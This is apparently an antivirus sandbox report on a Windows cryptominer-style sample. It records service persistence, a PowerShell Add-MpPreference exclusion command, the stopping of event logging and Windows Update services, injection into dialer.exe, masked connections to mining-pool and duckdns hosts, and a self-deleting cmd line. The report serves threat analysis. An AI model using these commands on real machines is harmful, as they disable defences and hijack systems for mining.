Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\YRFCABFV] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\YRFCABFV] 'ImagePath' = '%ALLUSERSPROFILE%\ynawbvuslcpb\veklagfcezvf.exe'
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\TEMP\WinRing0x64.sys'
Creates the following services
- 'YRFCABFV' %ALLUSERSPROFILE%\ynawbvuslcpb\veklagfcezvf.exe
- 'WinRing0_1_2_0' %WINDIR%\TEMP\WinRing0x64.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- Windows Event Logging
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Injects code into
the following system processes:
- <SYSTEM32>\dialer.exe
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\ynawbvuslcpb\veklagfcezvf.exe
- %WINDIR%\temp\__psscriptpolicytest_skabpy33.pir.ps1
- %WINDIR%\temp\__psscriptpolicytest_yzjvfn0j.3jr.psm1
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-37-322.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-37-555.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-37-651.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-37-811.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-37-843.dump
- %WINDIR%\temp\__psscriptpolicytest_ux4offzw.fqh.ps1
- %WINDIR%\temp\__psscriptpolicytest_vco4qxc0.gzi.psm1
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-009.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-056.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-093.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-180.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-275.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-369.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-484.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-516.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-539.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-579.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-602.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-631.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-38-654.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-39-056.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-39-103.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-39-134.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-39-172.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-39-203.dump
- %WINDIR%\temp\content\5476-796-powershell.exe-14-05-39-257.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\lkviofbrmavo.sys
Deletes following files that it created itself
- %WINDIR%\temp\__psscriptpolicytest_skabpy33.pir.ps1
- %WINDIR%\temp\__psscriptpolicytest_yzjvfn0j.3jr.psm1
- %WINDIR%\temp\__psscriptpolicytest_ux4offzw.fqh.ps1
- %WINDIR%\temp\__psscriptpolicytest_vco4qxc0.gzi.psm1
Network activity
Connects to
- 'po##.#upportxmr.com':9000
- 'po####n.therpc.io':443
- '13#.###.thirdweb.com':443
- 'x1.#.lencr.org':80
- 'pa###bin.com':443
- 'pt#####n.duckdns.org':80
TCP
HTTP GET requests
- http://x1.#.lencr.org/
- http://pt#####n.duckdns.org/build/scanner.exe
HTTP POST requests
Other
- 'po####n.therpc.io':443
- 'po##.#upportxmr.com':9000
- '13#.###.thirdweb.com':443
UDP
- DNS ASK po##.#upportxmr.com
- DNS ASK po####n.therpc.io
- DNS ASK 13#.###.thirdweb.com
- DNS ASK x1.#.lencr.org
- DNS ASK pa###bin.com
- DNS ASK pt#####n.duckdns.org
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\ynawbvuslcpb\veklagfcezvf.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\dialer.exe'
- '<SYSTEM32>\sc.exe' delete "YRFCABFV"
- '<SYSTEM32>\sc.exe' create "YRFCABFV" binpath= "%ALLUSERSPROFILE%\ynawbvuslcpb\veklagfcezvf.exe" start= "auto"
- '<SYSTEM32>\sc.exe' stop eventlog
- '<SYSTEM32>\sc.exe' start "YRFCABFV"
- '<SYSTEM32>\cmd.exe' /c choice /C Y /N /D Y /T 3 & Del "<Full path to file>"
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
